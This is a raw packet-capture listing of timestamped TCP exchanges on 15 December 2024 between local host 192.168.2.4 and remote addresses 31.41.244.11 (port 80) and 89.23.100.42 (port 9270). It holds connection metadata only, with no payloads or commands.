Dec 15, 2024 11:59:28.157573938 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.157618999 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.157681942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.157721043 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.159055948 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.159092903 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.159153938 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.159204960 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.159379005 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:28.159430981 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:28.160619974 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.160665035 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.160737038 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.160777092 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.162189007 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.162229061 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.162312031 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.162349939 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.163717985 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.163757086 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.163800001 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.163836956 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.165265083 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.165304899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.165349960 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.165388107 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.166841984 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.166878939 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.166961908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.166999102 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.168437958 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.168476105 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.168483973 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.168517113 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.169888973 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.169925928 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.170034885 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.170072079 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.171471119 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.171510935 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.171602011 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.171646118 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.173053026 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.173110008 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.173186064 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.173229933 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.174614906 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.174654007 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.174837112 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.174874067 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.176096916 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.176137924 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.176218987 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.176256895 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.177859068 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.177876949 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.177906036 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.177922964 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.179193020 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.179239035 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.179378033 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.179413080 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.180710077 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.180773973 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.180810928 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.180851936 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.182246923 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.182287931 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.182394028 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.182435989 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.184040070 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.184077978 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.184165001 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.184220076 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.185348988 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.185386896 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.185457945 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.185498953 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.186903954 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.186940908 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.187120914 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.187156916 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.188440084 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.188481092 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.188597918 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.188633919 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.190027952 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.190093994 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.190110922 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.190146923 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.191572905 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.191622972 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.191634893 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.191675901 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.193085909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.193126917 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.193243980 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.193284988 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.194633961 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.194679022 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.194760084 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.194808006 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.196181059 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.196255922 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.196278095 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.196341991 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.197755098 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.197798014 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.197859049 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.197896004 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.199373960 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.199426889 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.199434996 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.199491978 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.200869083 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.200922012 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.200938940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.200972080 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.279160023 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:28.321290970 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.321335077 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.321343899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.321372032 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.321902990 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.321940899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.322164059 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.322207928 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.322225094 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.322252035 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.323510885 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.323550940 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.323613882 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.323653936 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.324867010 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.324911118 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.324954987 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.324995041 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.326235056 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.326283932 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.326314926 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.326353073 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.327414989 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.327452898 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.327541113 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.327580929 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.328766108 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.328807116 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.328874111 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.328912973 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.330081940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.330138922 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.330153942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.330193996 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.331418991 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.331456900 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.331474066 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.331512928 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.332732916 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.332776070 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.332839966 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.332891941 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.334059954 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.334099054 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.334170103 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.334209919 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.335416079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.335453033 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.335582018 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.335618973 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.336680889 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.336719990 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.336740017 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.336771965 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.337965012 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.338004112 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.338088989 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.338139057 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.339246988 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.339284897 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.339323044 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.339361906 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.340589046 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.340635061 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.340698004 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.340739012 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.341918945 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.341957092 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.342163086 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.342200041 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.343219995 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.343259096 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.343307018 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.343344927 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.344543934 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.344587088 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.344660044 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.344696045 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.345869064 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.345906019 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.345984936 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.346023083 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.347203016 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.347219944 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.347249985 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.347268105 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.348505974 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.348561049 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.348696947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.348737001 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.349838018 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.349883080 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.349981070 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.350017071 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.351118088 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.351170063 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.351232052 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.351272106 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.352426052 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.352471113 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.352545023 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.352583885 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.353821993 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.353857040 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.353873968 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.353920937 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.355047941 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.355108976 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.355125904 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.355156898 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.356405973 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.356445074 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.356508970 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.356547117 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.357786894 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.357829094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.357846022 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.357886076 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.358989954 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.359035969 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.359112978 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.359150887 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.360347986 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.360385895 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.360539913 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.360578060 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.361637115 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.361675978 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.361741066 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.361778975 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.362963915 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.363009930 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.363042116 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.363082886 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.364322901 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.364363909 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.364396095 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.364434958 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.365592003 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.365645885 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.365721941 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.365767002 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.366892099 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.366930962 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.366974115 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.367012978 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.368254900 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.368293047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.368346930 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.368385077 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.369553089 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.369597912 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.369748116 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.369786978 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.370871067 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.370908976 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.371022940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.371062040 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.372299910 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.372338057 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.372461081 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.372502089 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.373581886 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.373634100 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.373651028 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.373683929 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.374814987 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.374854088 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.374916077 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.374954939 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.376271009 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.376311064 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.376370907 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.376409054 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.377717972 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.377760887 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.377779007 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.377810001 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.378786087 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.378824949 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.378842115 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.378879070 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.380100012 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.380136967 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.380155087 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.380193949 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.381356955 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.381411076 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.381463051 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.381499052 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.382688999 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.382728100 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.382791996 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.382837057 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.384013891 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.384061098 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.384177923 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.384213924 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.385494947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.385534048 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.385596991 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.385633945 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.386670113 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.386707067 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.386878014 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.386915922 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.387944937 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.387983084 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.388066053 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.388106108 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.389297009 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.389313936 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.389337063 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.389355898 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.487004042 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:28.513514042 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.513576031 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.513736963 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.513794899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:28.514091969 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:28.514136076 CET	49805	80	192.168.2.4	31.41.244.11
